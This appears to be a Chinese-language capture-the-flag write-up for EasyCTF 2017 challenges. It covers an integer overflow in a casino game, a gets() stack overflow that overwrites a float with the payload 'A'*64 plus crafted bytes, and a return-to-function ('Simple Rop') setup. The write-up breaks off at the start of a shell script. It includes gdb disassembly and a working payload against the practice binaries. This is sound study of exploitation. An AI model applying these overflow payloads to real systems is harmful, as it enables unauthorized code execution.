  __int64 v18; // rax@13
  __int64 v19; // rdx@14
  __int64 v20; // rax@15
  __int64 v21; // rax@16
  int v22; // [sp+Ch] [bp-1C4h]@4
  char v23; // [sp+10h] [bp-1C0h]@4
  char v24; // [sp+30h] [bp-1A0h]@4
  __int64 v25; // [sp+B0h] [bp-120h]@4
  __int64 v26; // [sp+1B8h] [bp-18h]@1
  v26 = *MK_FP(__FS__, 40LL);
  LODWORD(v3) = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to the EasyCTF 2017 Casino", envp);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  LODWORD(v5) = std::operator<<<std::char_traits<char>>(
                  &std::cout,
                  "Try your luck and gain access to our exclusive club!",
                  v4);
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  while ( 1 )
    std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
    v6 = networth;
    LODWORD(v8) = std::operator<<<std::char_traits<char>>(&std::cout, "Your net worth is: $", v7);
    LODWORD(v9) = std::ostream::operator<<(v8, (unsigned int)v6);
    v10 = v9;
    std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
    if ( networth > 2000000000 )
      break;
    LODWORD(v13) = std::operator<<<std::char_traits<char>>(
                     &std::cout,
                     "Please enter how much you would like to bet:",
                     v11);
    std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v23);
    std::getline<char,std::char_traits<char>,std::allocator<char>>(&_TMC_END__, &v23);
    v14 = std::operator|(16LL, 8LL);
    std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(
      &v24,
      &v23,
      (unsigned int)v14);
    std::istream::operator>>(&v24, &v22);
    v16 = (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::eof(&v25) ^ 1
       || (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::fail(&v25);
    if ( v16 )
      std::operator<<<std::char_traits<char>>(&std::cout, "That was not a valid number :(", v15);
    else if ( v22 > 0 )
      if ( v22 <= 100000000 )
        if ( (unsigned __int8)gamble() ^ 1 )
          LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :(", v19);
          std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
          networth -= v22;
          LODWORD(v21) = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations, you won!", v19);
          std::ostream::operator<<(v21, &std::endl<char,std::char_traits<char>>);
          networth += v22;
        LODWORD(v18) = std::operator<<<std::char_traits<char>>(
                         &std::cout,
                         "Sorry, the most we can allow you to bet is $100,000,000",
                         v15);
        std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
      LODWORD(v17) = std::operator<<<std::char_traits<char>>(&std::cout, "You must bet a positive amount", v15);
      std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
    std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream((__int64)&v24);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v23);
  printflag(v10, (__int64)&std::endl<char,std::char_traits<char>>, v11);
  return 0;
}

整型溢出问题,大致先看了一下逻辑,只要满足networth > 2000000000就可以跳出while循环获取到flag,network是int类型的,而在:

        if ( (unsigned __int8)gamble() ^ 1 )
          LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :(", v19);
          std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
          networth -= v22;

中并没有先判断network值是否小于0就直接相减,这样导致余额为负也还可以继续赌(和)博(谐):

32位下int类型: 4 byte = 32 bit 有符号signed范围:2^31-1 ~ -2^31 即:2147483647 ~ -2147483648,当我们的余额小于还小于-2147483648时就会溢出,而溢出处理是环形的,画个简图:

Doubly Dangerous

problem

There seems to be an issue with this binary . Can you exploit it? View the problem in the shell server /problems/doubly_dangerous directory.

solution

int __cdecl main(int argc, const char **argv, const char **envp)
  char s; // [sp+Ch] [bp-4Ch]@1
  float v5; // [sp+4Ch] [bp-Ch]@1
  v5 = 0.0;
  puts("Give me a string: ");
  gets(&s);
  if ( 11.28125 == v5 )
    puts("Success! Here is your flag:");
    give_flag();
    puts("nope!");
  return 0;

我们要做的就是让if ( 11.28125 == v5 )成立,又使用了gets(),估计与溢出有关。 运行一下:

sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous 
Give me a string: 
nope!
sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous
Give me a string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nope!
Segmentation fault (core dumped)

果然是溢出,于是gdb看一下:

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048607 <+0>: lea    ecx,[esp+0x4]
   0x0804860b <+4>: and    esp,0xfffffff0
   0x0804860e <+7>: push   DWORD PTR [ecx-0x4]
   0x08048611 <+10>:    push   ebp
   0x08048612 <+11>:    mov    ebp,esp
   0x08048614 <+13>:    push   ecx
   0x08048615 <+14>:    sub    esp,0x54
   0x08048618 <+17>:    fldz   
   0x0804861a <+19>:    fstp   DWORD PTR [ebp-0xc]
   0x0804861d <+22>:    sub    esp,0xc
   0x08048620 <+25>:    push   0x8048735
   0x08048625 <+30>:    call   0x8048410 <puts@plt>
   0x0804862a <+35>:    add    esp,0x10
   0x0804862d <+38>:    sub    esp,0xc
   0x08048630 <+41>:    lea    eax,[ebp-0x4c]
   0x08048633 <+44>:    push   eax
   0x08048634 <+45>:    call   0x80483e0 <gets@plt>
   0x08048639 <+50>:    add    esp,0x10
   0x0804863c <+53>:    fld    DWORD PTR [ebp-0xc]
   0x0804863f <+56>:    fld    DWORD PTR ds:0x804876c
   0x08048645 <+62>:    fucomip st,st(1)
   0x08048647 <+64>:    jp     0x804866c <main+101>
---Type <return> to continue, or q <return> to quit---c
   0x08048649 <+66>:    fld    DWORD PTR ds:0x804876c
   0x0804864f <+72>:    fucomip st,st(1)
   0x08048651 <+74>:    fstp   st(0)
   0x08048653 <+76>:    jne    0x804866e <main+103>
   0x08048655 <+78>:    sub    esp,0xc
   0x08048658 <+81>:    push   0x8048748
   0x0804865d <+86>:    call   0x8048410 <puts@plt>
   0x08048662 <+91>:    add    esp,0x10
   0x08048665 <+94>:    call   0x804857b <give_flag>
   0x0804866a <+99>:    jmp    0x804867e <main+119>
   0x0804866c <+101>:   fstp   st(0)
   0x0804866e <+103>:   sub    esp,0xc
   0x08048671 <+106>:   push   0x8048764
   0x08048676 <+111>:   call   0x8048410 <puts@plt>
   0x0804867b <+116>:   add    esp,0x10
   0x0804867e <+119>:   mov    eax,0x0
   0x08048683 <+124>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048686 <+127>:   leave  
   0x08048687 <+128>:   lea    esp,[ecx-0x4]
   0x0804868a <+131>:   ret    
End of assembler dump.

大致看了之后,看到其中的:

   0x0804863c <+53>:    fld    DWORD PTR [ebp-0xc]
   0x0804863f <+56>:    fld    DWORD PTR ds:0x804876c
   0x08048645 <+62>:    fucomip st,st(1)

根据题意就是溢出覆盖ebp-0xc的值使之和0x804876c所指的值相等。于是不断尝试输入查看ebp-0xc所指的值的变化,当输入64个A字符时没有覆盖:

(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x8048615
(gdb) r < 64A.txt 
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 64A.txt
Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc: 0x080486b1

当输入65个A字符时开始覆盖(A字符的ASCII码的十六进制是41):

(gdb) r < 65A.txt 
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 65A.txt
Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc: 0x08048641

接下再看一下0x804876c所指的值:

(gdb) x/wx 0x804876c
0x804876c: 0x41348000

于是构造payload:'A' * 64 + '\x00\x80\x34\x41'

python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
Give me a string: 
Success! Here is your flag:
easyctf{bofs_and_floats_are_d0uble_tr0uble!}

Simple Rop

problem

On the shell there is a folder /problems/simple-rop.

Read flag.txt

Source

Binary

solution

// simple-rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
void print_flag();
void what_did_you_say();
int main(int argc, char* argv[])
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    what_did_you_say();
    return 0;
void print_flag()
    system("cat flag.txt");
void what_did_you_say()
    char buff[64];
    gets(buff);
    printf("You said: %s\n", buff);

看了源码,很显然要让我们调用print flag()函数,于是先gdb看一下print flag()函数的地址:

(gdb) disas print_flag
Dump of assembler code for function print_flag:
   0x0804851a <+0>: push   %ebp
   0x0804851b <+1>: mov    %esp,%ebp
   0x0804851d <+3>: sub    $0x8,%esp
   0x08048520 <+6>: sub    $0xc,%esp
   0x08048523 <+9>: push   $0x80485e0
   0x08048528 <+14>:    call   0x80483a0 <system@plt>
   0x0804852d <+19>:    add    $0x10,%esp
   0x08048530 <+22>:    nop
   0x08048531 <+23>:    leave  
   0x08048532 <+24>:    ret    
End of assembler dump.

地址为:0x0804851a,缓存为64字符,所以写个shell脚本跑一下:

#!/bin/bash